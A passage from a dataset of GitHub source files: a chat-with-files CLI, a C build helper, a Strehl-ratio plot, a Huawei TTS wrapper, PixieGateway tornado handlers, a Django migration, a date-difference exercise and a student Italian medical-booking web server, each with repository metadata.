= {'role':'user','content':user_input.strip()}\n await chatmd(message,dialogue_history)\n\n\nasync def main_loop2(floder_name,dialogue_file):\n print(floder_name.center(75,'='))\n print(\"##SYS: 正在分析文件...\")\n dialogue_history = await gpt_read_content(None,dialogue_file)\n\n while True:\n user_input = input(\"Usr>> \")\n if user_input == \"quit\":\n return True\n message = {'role':'user','content':user_input.strip()}\n await chatmd(message,dialogue_history)\n\n\ndef get_dir(path):\n return os.listdir(path)\n\n\nasync def main():\n while True:\n storage = get_dir(config.data_path)\n user_input = input(\"\\n##SYS: 请输入指令(ls, edit, del , , ):\\n\\nUsr>> \").strip().lstrip()\n if user_input == \"ls\": \n print(*storage)\n elif user_input in storage:\n dialogue_file = config.data_path + \"/\" + user_input + \"/dialogue.json\"\n await main_loop2(user_input,dialogue_file)\n elif user_input[0:3] == \"del\":\n floder = user_input[3:]\n del_path = config.data_path + '/' + floder.strip().lstrip()\n print(f\"##SYS: you will delete {del_path}\")\n if os.path.exists(del_path):\n shutil.rmtree(del_path)\n else:\n print(\"\\n##SYS: Wrong FloderName...\")\n elif user_input == \"edit\":\n print(\" Edit(enter to pass) \".center(75,'='))\n with open(\"./config.json\",'r',encoding=\"utf-8\") as f:\n config_ = json.load(f)\n url_base = input(f\"##SYS: url_base({config_['base_url']}):\").strip().lstrip()\n if url_base != \"\":\n config_['base_url'] = url_base\n api_key = input(f\"##SYS: api_key({config_['api_key']}):\").strip().lstrip()\n if api_key != \"\":\n config_['api_key'] = api_key\n model = input(f\"##SYS: model({config_['model']}):\").strip().lstrip()\n if model != \"\":\n config_['model'] = model\n with open(\"./config.json\",'w',encoding=\"utf-8\") as f:\n json.dump(config_,f,ensure_ascii = False)\n config.get_init()\n else:\n if os.path.exists(user_input):\n await main_loop(user_input)\n else:\n print(\"\\n##SYS: Wrong file path...\")\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())", "repo_name": "Komorebi-yaodong/ChatFileCmd", "sub_path": "ChatFileCmd.py", "file_name": "ChatFileCmd.py", "file_ext": "py", "file_size_in_byte": 6145, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ChatFileConfig.Config", "line_number": 10, "usage_type": "call"}, {"api_name": "openai.AsyncOpenAI", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 50, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 84, "usage_type": "call"}, {"api_name": "FileTransform.file_transform", "line_number": 91, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 135, "usage_type": "call"}, {"api_name": "json.load", "line_number": 141, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "asyncio.run", "line_number": 162, "usage_type": "call"}]} {"seq_id": "14339942821", "text": "import argparse\nimport os\nimport re\nimport subprocess\nimport xml.dom.minidom as mxml\nimport time\n\n\nimport entity_finder\nimport builder\nfrom unity_tester import UnityTester\n\n\ndef cmd_build(entities, pymk_root, args):\n print(\"======[Start to build applications]=========\")\n for app in entities.apps:\n builder.AppBuilder(app, pymk_root)\n print(\"======[Finished building applications]======\")\n\ndef cmd_test(entity_map, pymk_root, args):\n print(\"======[Start testing of code]===============\")\n tester = UnityTester(entity_map, pymk_root, args)\n tester.prepare()\n tester.run()\n print(\"======[Finished testing of code]============\")\n\ndef cmd_clean(entity_map, pymk_root, args):\n print(\"clean\")\n\n\ndef cmd_stats(entity_map, pymk_root, args):\n print(\"stats\")\n\n\ndef cmd_info(entity_map, pymk_root, args):\n print(\"info\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Tool to build and test c code.\", epilog=\"Commands iterate through sub-directories recursively, looking for sources, dependencies and unit tests.\")\n subparsers = parser.add_subparsers()\n\n parser_build = subparsers.add_parser(\"build\", help=\"Iterate directories, compile and link modules and programs.\")\n parser_build.set_defaults(func=cmd_build)\n\n parser_test = subparsers.add_parser(\"test\", help=\"Iterate directories, generate mocks, build and run tests.\")\n parser_test.set_defaults(func=cmd_test)\n\n parser_clean = subparsers.add_parser(\"clean\", help=\"Remove build and test files.\")\n parser_clean.set_defaults(func=cmd_clean)\n\n parser_stats = subparsers.add_parser(\"stats\", help=\"Displays useful info about modules.\")\n parser_stats.set_defaults(func=cmd_stats)\n\n parser_info = subparsers.add_parser(\"info\", help=\"Display info on how to use this build system.\")\n parser_info.set_defaults(func=cmd_info)\n\n arguments = parser.parse_args()\n\n pymk_root = os.path.dirname(os.path.abspath(__file__))\n pymk_root = pymk_root.replace(\"/cygdrive\", \"\")\n print(pymk_root)\n\n entities = entity_finder.EntityFinder(pymk_root, exclude_dir_names=[\"mocks\"])\n entities.run()\n\n arguments.func(entities, pymk_root, arguments)\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "kallexm/mhndr_frmwrk", "sub_path": "pymk.py", "file_name": "pymk.py", "file_ext": "py", "file_size_in_byte": 2213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "builder.AppBuilder", "line_number": 17, "usage_type": "call"}, {"api_name": "unity_tester.UnityTester", "line_number": 22, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 60, "usage_type": "call"}, {"api_name": "entity_finder.EntityFinder", "line_number": 64, "usage_type": "call"}]} {"seq_id": "24465272350", "text": "import numpy\nfrom srxraylib.plot.gol import plot, set_qt\nset_qt()\nimport scipy.constants as codata\n\nrms = numpy.linspace(0,20,21)\ntheta = 1.25 * numpy.pi / 180\n\n\nwavelength = codata.h * codata.c / codata.e / 250\nprint(\"Wavelength: %g A\" % (wavelength * 1e10))\n\ndelta_phi = 2 * rms * 1e-9 * numpy.sin(theta) # wavelength / 14\n\nsr1 = 1 - (2 * numpy.pi / wavelength * delta_phi)**2\nsr2 = numpy.exp(-(2 * numpy.pi / wavelength * delta_phi)**2)\nsr3 = (1 - 0.5 * (2 *numpy.pi / wavelength * delta_phi)**2) ** 2\nsr4 = 1 - (2 * numpy.pi * rms)**2\n\nprint(sr1,sr2,sr3)\n\nplot(rms,sr1,\n rms, sr2,\n rms, sr3,\n legend=[\"orig\",\"exp\",\"square\"],\n yrange=[0,1.1])\n\n", "repo_name": "srio/alsu-scripts", "sub_path": "STREHL_TW/strehl.py", "file_name": "strehl.py", "file_ext": "py", "file_size_in_byte": 666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "srxraylib.plot.gol.set_qt", "line_number": 3, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 7, "usage_type": "attribute"}, {"api_name": "scipy.constants.h", "line_number": 10, "usage_type": "attribute"}, {"api_name": "scipy.constants", "line_number": 10, "usage_type": "name"}, {"api_name": "scipy.constants.c", "line_number": 10, "usage_type": "attribute"}, {"api_name": "scipy.constants.e", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 18, "usage_type": "attribute"}, {"api_name": "srxraylib.plot.gol.plot", "line_number": 22, "usage_type": "call"}]} {"seq_id": "1316888789", "text": "import os\nimport shutil\n\nimport pyttsx3 as pt\n\n# huawei cloud tts\n\nfrom huaweicloud_sis.client.tts_client import TtsCustomizationClient\nfrom huaweicloud_sis.bean.tts_request import TtsCustomRequest\nfrom huaweicloud_sis.bean.sis_config import SisConfig\nfrom huaweicloud_sis.utils.logger_utils import logger, file_handler\nimport logging.handlers\n\n# 修改huawei tts所维护的log的位置\nlogger.removeHandler(file_handler)\nfile_handler.close()\ntry:\n os.remove('huaweicloud_sis.log')\nexcept:\n pass\n\n\"\"\"\nhttp://tts.baidu.com/text2audio?lan=zh&ie=UTF-8&text= \n\"\"\"\n\n\ndef base_tts(text, location):\n engine = pt.init()\n engine.save_to_file(text, location)\n engine.runAndWait()\n\n\ndef huawei_tts(text, location):\n # 修改huawei tts所维护的log的位置\n adapted_handler = logging.handlers.RotatingFileHandler('misc/tts/huaweicloud_sis.log', maxBytes=1024 * 1024,\n backupCount=5, encoding='utf-8')\n adapted_handler.setLevel(logging.INFO)\n adapted_handler.setFormatter(logging.Formatter('[%(asctime)s] - [%(levelname)s] - [%(message)s]'))\n logger.addHandler(adapted_handler)\n assert len(text.encode('utf8')) <= 500\n paras = get_config()\n ak, sk, region, project_id = paras\n text = text # 待合成文本，不超过500字\n path = location # 保存路径，需要具体到音频文件，如D:/test.wav，可在设置中选择不保存本地\n\n # step1 初始化客户端\n config = SisConfig()\n config.set_connect_timeout(10) # 设置连接超时，单位s\n config.set_read_timeout(10) # 设置读取超时，单位s\n # 设置代理，使用代理前一定要确保代理可用。 代理格式可为[host, port] 或 [host, port, username, password]\n # config.set_proxy(proxy)\n ttsc_client = TtsCustomizationClient(ak, sk, region, project_id, sis_config=config)\n\n # step2 构造请求\n ttsc_request = TtsCustomRequest(text)\n # 设置请求，所有参数均可不设置，使用默认参数\n # 设置属性字符串， language_speaker_domain, 默认chinese_xiaoyan_common\n ttsc_request.set_property('chinese_huaxiaowen_common')\n # 设置音频格式，默认wav，可选mp3和pcm\n ttsc_request.set_audio_format('wav')\n # 设置采样率，8000 or 16000, 默认8000\n ttsc_request.set_sample_rate('16000')\n # 设置音量，[0, 100]，默认50\n ttsc_request.set_volume(50)\n # 设置音高, [-500, 500], 默认0\n ttsc_request.set_pitch(0)\n # 设置音速, [-500, 500], 默认0\n ttsc_request.set_speed(0)\n # 设置是否保存，默认False\n ttsc_request.set_saved(True)\n # 设置保存路径，只有设置保存，此参数才生效\n ttsc_request.set_saved_path(path)\n\n # step3 发送请求，返回结果。如果设置保存，可在指定路径里查看保存的音频。\n try:\n result = ttsc_client.get_ttsc_response(ttsc_request)\n # print(json.dumps(result, indent=2, ensure_ascii=False))\n finally:\n logger.removeHandler(adapted_handler)\n adapted_handler.close()\n\n\ndef get_config():\n par = []\n with open(r'misc/tts/huawei.txt') as f:\n for line in f:\n line = line.strip()\n if not line or line[0] == '#':\n continue\n assert line\n par.append(line)\n return par\n\n\ndef render(text, location):\n try:\n huawei_tts(text, location)\n except:\n base_tts(text, location)\n\nif __name__ == '__main__':\n base_tts('今天的天气还是挺不错的', r'E:\\Files\\Projects\\TyTalk\\test.wav')\n", "repo_name": "GalaxieT/VvTalk", "sub_path": "reliance/imitation/tts.py", "file_name": "tts.py", "file_ext": "py", "file_size_in_byte": 3578, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "78", "api": [{"api_name": "huaweicloud_sis.utils.logger_utils.logger.removeHandler", "line_number": 15, "usage_type": "call"}, {"api_name": "huaweicloud_sis.utils.logger_utils.file_handler", "line_number": 15, "usage_type": "argument"}, {"api_name": "huaweicloud_sis.utils.logger_utils.logger", "line_number": 15, "usage_type": "name"}, {"api_name": "huaweicloud_sis.utils.logger_utils.file_handler.close", "line_number": 16, "usage_type": "call"}, {"api_name": "huaweicloud_sis.utils.logger_utils.file_handler", "line_number": 16, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 18, "usage_type": "call"}, {"api_name": "pyttsx3.init", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.handlers.handlers.RotatingFileHandler", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.handlers.handlers", "line_number": 35, "usage_type": "attribute"}, {"api_name": "logging.handlers", "line_number": 35, "usage_type": "name"}, {"api_name": "logging.handlers.INFO", "line_number": 37, "usage_type": "attribute"}, {"api_name": "logging.handlers", "line_number": 37, "usage_type": "name"}, {"api_name": "logging.handlers.Formatter", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 38, "usage_type": "name"}, {"api_name": "huaweicloud_sis.utils.logger_utils.logger.addHandler", "line_number": 39, "usage_type": "call"}, {"api_name": "huaweicloud_sis.utils.logger_utils.logger", "line_number": 39, "usage_type": "name"}, {"api_name": "huaweicloud_sis.bean.sis_config.SisConfig", "line_number": 47, "usage_type": "call"}, {"api_name": "huaweicloud_sis.client.tts_client.TtsCustomizationClient", "line_number": 52, "usage_type": "call"}, {"api_name": "huaweicloud_sis.bean.tts_request.TtsCustomRequest", "line_number": 55, "usage_type": "call"}, {"api_name": "huaweicloud_sis.utils.logger_utils.logger.removeHandler", "line_number": 79, "usage_type": "call"}, {"api_name": "huaweicloud_sis.utils.logger_utils.logger", "line_number": 79, "usage_type": "name"}]} {"seq_id": "18658423019", "text": "__all__ = [\n 'PixieDustHandler', 'PixieDustLogHandler', 'ExecuteCodeHandler', 'PixieAppHandler',\n 'PixieAppListHandler', 'PixieAppPublishHandler', 'ChartShareHandler', 'StatsHandler',\n 'AdminHandler', 'ChartEmbedHandler', 'ChartsHandler', 'OEmbedChartHandler', 'LoginHandler',\n 'AdminCommandHandler'\n]\n\nimport inspect\nimport json\nimport os\nimport traceback\nfrom uuid import uuid4\nimport tornado\nfrom tornado.log import app_log\nimport pixiegateway\nfrom pixiegateway.exceptions import CodeExecutionError, AppAccessError\nfrom pixiegateway.session import SessionManager\n\nclass BaseHandler(tornado.web.RequestHandler):\n \"\"\"Base class for all PixieGateway handler\"\"\"\n def initialize(self):\n self.output_json_error = False\n\n def _handle_request_exception(self, exc):\n print(\"Got an exception: {}\".format(exc))\n if isinstance(exc, AppAccessError):\n return self.send_error(401)\n\n html_error = \"
Unexpected error:
{}
\".format(\n str(exc) if isinstance(exc, CodeExecutionError) else traceback.format_exc()\n )\n if self.output_json_error:\n msg = {\n \"buffers\": [],\n \"channel\": \"iopub\",\n \"content\": {\n \"data\": {\n \"text/html\": html_error\n },\n \"metadata\": {},\n \"transient\": {}\n },\n \"header\": {\n \"username\": \"pixiegateway\",\n \"msg_type\": \"display_data\",\n \"msg_id\": uuid4().hex,\n \"version\": \"5.2\"\n },\n \"metadata\": {},\n \"msg_id\": \"\",\n \"msg_type\":\"display_data\",\n \"parent_header\": {}\n }\n self.write(json.dumps([msg]))\n else:\n self.write(html_error)\n self.finish()\n\n # def create_template_loader2(self, template_path):\n # print(\"Create template loader: {}\".format(template_path))\n # file = None\n # if template_path.startswith(\"/\"):\n # file = pixiegateway.__file__\n # print(\"resolving: {}\".format(file))\n # else:\n # file = inspect.getfile(inspect.currentframe())\n\n # template_path = os.path.dirname(\n # os.path.abspath(\n # file\n # )\n # )\n # settings = self.application.settings\n # kwargs = {}\n # if \"autoescape\" in settings:\n # # autoescape=None means \"no escaping\", so we have to be sure\n # # to only pass this kwarg if the user asked for it.\n # kwargs[\"autoescape\"] = settings[\"autoescape\"]\n # if \"template_whitespace\" in settings:\n # kwargs[\"whitespace\"] = settings[\"template_whitespace\"]\n # return tornado.template.Loader(template_path, **kwargs)\n\n def render_string(self, template_name, **kwargs):\n try:\n self.template_name = template_name\n return super(BaseHandler, self).render_string(template_name.strip(\"/\"), **kwargs)\n finally:\n self.template_name = None\n\n def get_template_path(self):\n if self.template_name.startswith(\"/\"):\n file_path = pixiegateway.__file__\n else:\n file_path = inspect.getfile(inspect.currentframe())\n return os.path.dirname(os.path.abspath(file_path))\n\n def prepare(self):\n \"\"\"\n Retrieve session for current user\n \"\"\"\n self.session = SessionManager.instance().get_session(self)\n app_log.debug(\"session %s\", self.session)\n\n def get_current_user(self):\n return self.get_secure_cookie(\"pd_user\")\n\n def set_default_headers(self):\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n self.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')\n\nfrom .adminHandlers import AdminHandler, StatsHandler, AdminCommandHandler\nfrom .handlers import (PixieDustHandler, PixieDustLogHandler, ExecuteCodeHandler, PixieAppHandler,\n PixieAppListHandler, PixieAppPublishHandler, ChartShareHandler,\n ChartEmbedHandler, ChartsHandler, OEmbedChartHandler, LoginHandler)", "repo_name": "pixiedust/pixiegateway", "sub_path": "pixiegateway/handlers/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 4288, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tornado.web", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pixiegateway.exceptions.AppAccessError", "line_number": 26, "usage_type": "argument"}, {"api_name": "pixiegateway.exceptions.CodeExecutionError", "line_number": 30, "usage_type": "argument"}, {"api_name": "traceback.format_exc", "line_number": 30, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 46, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "pixiegateway.__file__", "line_number": 92, "usage_type": "attribute"}, {"api_name": "inspect.getfile", "line_number": 94, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 95, "usage_type": "call"}, {"api_name": "pixiegateway.session.SessionManager.instance", "line_number": 101, "usage_type": "call"}, {"api_name": "pixiegateway.session.SessionManager", "line_number": 101, "usage_type": "name"}, {"api_name": "tornado.log.app_log.debug", "line_number": 102, "usage_type": "call"}, {"api_name": "tornado.log.app_log", "line_number": 102, "usage_type": "name"}]} {"seq_id": "2565592243", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('todoitems', '0002_auto_20190615_2059'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='todoitem',\n name='expired_date',\n field=models.DateTimeField(default=datetime.datetime(2019, 6, 15, 21, 2, 54, 399837, tzinfo=utc)),\n ),\n migrations.AlterField(\n model_name='todoitem',\n name='start_date',\n field=models.DateTimeField(null=True),\n ),\n ]\n", "repo_name": "kingsleyli920/todolist-server", "sub_path": "todoitems/migrations/0003_auto_20190615_2102.py", "file_name": "0003_auto_20190615_2102.py", "file_ext": "py", "file_size_in_byte": 685, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "call"}, {"api_name": "django.utils.timezone.utc", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}]} {"seq_id": "21005238272", "text": "from datetime import date\nfrom datetime import datetime\n\n# Custom function to calculate time differences\n\n\ndef time_dif(date, choice):\n diff = date - choice\n return diff\n\n\n# Give instructions\nprint(\"This program will calculate the difference between today's date and certain historical events.\")\n\n# Initialize today's date and historical events\ntoday = date.today()\nnapoleon = date(1769, 8, 15)\npearl = date(1941, 12, 7)\nwright = date(1903, 12, 17)\n\n# Print list of choices\nchoice = input(\"Would you like to calculate the time between today and: \\n(1) Napoleon's brithday \\n(2) The attack on Pearl Harbor \\n(3) The flight of the Wright brothers\\n(4) Custom date\\n\")\n\n# Print results based on user's choice\nif choice == \"1\":\n print(\"Napoleon\\'s birthday was on \" + napoleon.strftime(\"%B %d, %Y\") +\n \". That was {} ago.\".format(time_dif(today, napoleon)))\nelif choice == \"2\":\n print(\"The attack on Pearl Harbor occurred on \" + pearl.strftime(\"%B %d, %Y\") +\n \". That was {} ago.\".format(time_dif(today, pearl)))\nelif choice == \"3\":\n print(\"The Wright brothers flew their first flight on \" +\n wright.strftime(\"%B %d, %Y\") + \". That was {} ago.\".format(time_dif(today, wright)))\nelif choice == \"4\":\n custom_input = input(\n \"Today's date is {}. Please enter the past date you would like to calculate from: \\n(Use format mm/dd/yyyy)\\n\".format(today.strftime(\"%B %d, %Y\")))\n custom_datetime = datetime.strptime(custom_input, '%m/%d/%Y')\n print(\"The time difference between today and \" + custom_datetime.date().strftime(\n \"%B %d, %Y\") + \" is {}.\".format(time_dif(today, custom_datetime.date())))\nelse:\n print(\"Invalid Selection\")\n", "repo_name": "khandosi/Python_Class", "sub_path": "Individual_Projects/Lab_13.py", "file_name": "Lab_13.py", "file_ext": "py", "file_size_in_byte": 1689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.date", "line_number": 8, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 16, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "name"}]} {"seq_id": "18938363384", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nVIOLANI MATTEO \nMATRICOLA: 921109\n\nPROGETTO DI PROGRAMMAZIONE RETI, TRACCIA 2 WEB-SERVER\n@author: teo\n\"\"\"\nimport sys, signal\nimport http.server\nimport socketserver\nimport cgi\nimport json\nimport HTMLdataGenerate as HTMLgen\n\n#modulo per estrapolazione di parametri da richiesta tipo GET\n#da installare pip install w3lib\nfrom w3lib.url import url_query_parameter as url_param\n\nADMIN_PATH_PAGE = \"html/admin.html\"\nINFO_PATH = 'html/info.html'\n\nPRENOT_PAGE = '/prenVisita.html'\nADMIN_PAGE = '/admin.html'\nCOVID_PAGE = '/covid.html'\nINFO_PAGE = '/info.html'\nADD_DOTT = 'add'\nRMV_DOTT = 'remove'\nPREN_PAGE = '/prenVisita.html'\n\n#configurazione porta socket server, se non specificata il default è 8080\nif sys.argv[1:] :\n port = int(sys.argv[1])\nelse:\n port = 8080\n\nserver_addr= ('',port)\n\n#pagina di accesso alla schermata da amministratore\nlogInPage= '''\n
\n

Accesso Amministratore

\n

\n\t\t\t\t\n \t\t\t\t
\n\t\t\t

\n\t\t\t

\n\t\t\t\t\n \t\t\t\t

\n\t\t\t

\n\t\t\t\n
\n '''\n \n#pagina di negato login causa password o user non corretti\nloginErrorPage= '''\n

User o Password Errate

\n

Clicca qui per riprovare--> riprova

\n'''\n\naddDoctorSuccessPage ='''\n

Aggiunta/Rimozione dottore avvenuta con successo

\n

Clicca qui per tonrare indietro--> Indietro

\n'''\n\neditDoctorFailPage = '''\n

Aggiunta/Rimozione dottore NON CONCLUSA

\n

Caso di aggiunta: Medico già presente o presenza di campi vuoti
\nCaso rimozione: Medico assente nel database

\n

Clicca qui per tonrare indietro--> Indietro

\n'''\n\n#\nclass MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):\n \n def logInPage(self):\n self.send_response(307) #codice stato http di temporaneo reindirizzamento\n self.end_headers()\n self.wfile.write(bytes(logInPage, 'utf-8'))\n \n def failDoctorPage(self):\n self.send_response(200)\n self.end_headers()\n #invio di pagina di errore rimozione dottore\n self.wfile.write(bytes(editDoctorFailPage, 'utf-8'))\n \n def editDoctorRequest(self):\n request = self.path\n # estrapolazione dati prenotazione ricevuti dal form\n nameDoctor= url_param( request,'dottName')\n codeDoctor= url_param( request,'dottCode')\n editMode= url_param(request, 'mode')\n# print(nameDoctor)\n# print(codeDoctor)\n# print(editMode)\n #memorizzazione nuovo medico nel file json (databse ipotetico)\n with open(\"json/dottori.json\", \"r+\") as out:\n #conversione dei file json in oggetto python--> vocabolario\n dott =json.loads(out.read())\n #aggiunta del dottore nel file\n print(dott)\n try:\n if editMode == ADD_DOTT:\n #se i campi sono vuoti non aggiungere medico vuoto\n if (not nameDoctor) or (not codeDoctor):\n #se uno dei due campi è vuoto si genera una eccezione\n #che manda al client la pagina di fallimento aggiunta\n raise TypeError\n else:\n if codeDoctor in dott[\"code\"]:\n #se il medico è già presente impedisce di mettere doppi\n raise TypeError\n else:\n dott[\"name\"].append(nameDoctor)\n dott[\"code\"].append(codeDoctor)\n print(\"AGGIUNTO dottore: \"+ str(nameDoctor) +', '+ str(codeDoctor))\n else:\n #richiesta di cancellazione dottore, effetuata solo \n #se presente nel database\n if codeDoctor in dott[\"code\"] and editMode == RMV_DOTT:\n #ricava l'indice in cui si trova il cod. del medico\n idx_code = dott[\"code\"].index(codeDoctor)\n print(\"inizio rimozione dottore \")\n print(dott[\"name\"][idx_code] +' '+dott[\"code\"][idx_code])\n #rimozione di nameDoctor e codeDoctor dal dizionario python\n #che poi sara convertito in file json\n dott[\"name\"].pop(idx_code)\n dott[\"code\"].pop(idx_code)\n else:\n raise TypeError\n\n with open(\"json/dottori.json\", \"r+\") as out: \n #cancellazione del file\n out.seek(0)\n out.truncate()\n #scrittura dell'oggeto python in formato json\n json.dump(dott,out)\n \n #risposta di OK al client\n self.send_response(200)\n self.end_headers()\n #invio di pagina di conferma aggiunta dottore\n self.wfile.write(bytes(addDoctorSuccessPage, 'utf-8'))\n \n except Exception as e:\n print(\"Errore: \"+ str(e))\n self.failDoctorPage()\n\n def checkLogin(self):\n try:\n form = cgi.FieldStorage( \n fp=self.rfile,\n headers=self.headers,\n environ={'REQUEST_METHOD':'POST'})\n \n #estrapolo i campi immessi in delle variabili\n #(si trascura la sicurezza dei dati)\n user= form.getvalue('user')\n pssw= form.getvalue('psw')\n print(user +' '+ pssw)\n with open(\"json/login.json\", \"r\") as inFile:\n #caricamento e conversione dati da formato json a \n #dictionary di python\n users = json.loads(inFile.read())\n\n if (users[user] == pssw):\n #se esiste l'username inserito si verifica che la password\n #digitata corrisonda con quella salvata nel database (login.json)\n self.send_response(200)\n self.end_headers()\n adminHTMLpage = HTMLgen.genAdminHTMLPage()\n self.wfile.write(bytes(adminHTMLpage, 'utf-8'))\n\n else:\n print(\"Password errata\")\n self.send_response(401)\n self.end_headers()\n self.wfile.write(bytes(loginErrorPage,'utf-8'))\n \n except Exception as e:\n print(e)\n self.send_response(401)\n self.end_headers()\n self.wfile.write(bytes(loginErrorPage,'utf-8'))\n\n #in questo metodo si definisce come il server deve agirea richieste di tipo GET \n def do_GET(self):\n request = self.path\n print('file REQUESTED: ' + request)\n #se si vuole accedere alla pagina da amministratore prima si viene reindirizzati\n #alla logInPage\n if request == ADMIN_PAGE:\n self.logInPage()\n else:\n #gestione della richiesta di aggiungere un nuovo medico;\n #verifico che la path ricevuta contenga i campi del form che rigurda\n #l'aggiunta del medico\n if (request.__contains__(ADMIN_PAGE) and \n request.__contains__(\"dottName\") and\n request.__contains__(\"dottCode\")):\n print(\"RICHIESTA Modifica DOTTORi\")\n self.editDoctorRequest()\n else:\n if request == COVID_PAGE:\n #il client ha rischiesto la pagina con i dati covid\n self.send_response(200)\n self.end_headers()\n #scarico il file json con i dati delle vaccinazioni in locale\n covidHTML = HTMLgen.refreshCovidData()\n #restituisco la pagina con tab covid aggiornata\n self.wfile.write(bytes(covidHTML, 'utf-8'))\n else:\n if request == PREN_PAGE:\n #il client ha richiesto la pagina delle prenotazioni\n #genera la pagina delle prenotazioni a runtime\n prenHTML = HTMLgen.genPrenotVisita()\n self.send_response(200)\n self.end_headers()\n #invio la pagina della prenotazione al client in risposta\n self.wfile.write(bytes(prenHTML, 'utf-8'))\n else:\n #se pagina info richiesta, reindirizzati alla corretta path\n if request == INFO_PAGE:\n self.path = INFO_PATH\n #se non si tratta di nessun caso sopra chiamo il metodo del\n #modulo per risolvere la richiesta e restituire il file\n #, se presente nella path, corrispondente all 'url digitato\n return http.server.SimpleHTTPRequestHandler.do_GET(self)\n\n def doPrenotazione(self):\n print('\\nPrenotazione_POST')\n try:\n # estrapolazione dati prenotazione ricevuti dal form\n form = cgi.FieldStorage( \n fp=self.rfile,\n headers=self.headers,\n environ={'REQUEST_METHOD':'POST'})\n \n # Con getvalue prendo i dati inseriti dall'utente\n doctor = form.getvalue('doctor')\n healthService = form.getvalue('prestazione')\n name = form.getvalue('fname')\n lastName = form.getvalue('lname')\n\n # creo messaggio da restituire all'utente\n output=\"RICHIESTA ACCOLTA NOME e COGNOME: \" + name + \" \"+ lastName +\" Prestazione: \" + healthService + \" Dottore: \"+ doctor +\"\\n\"\n succP1 = '''

Aggiunta dottore avvenuta con successo

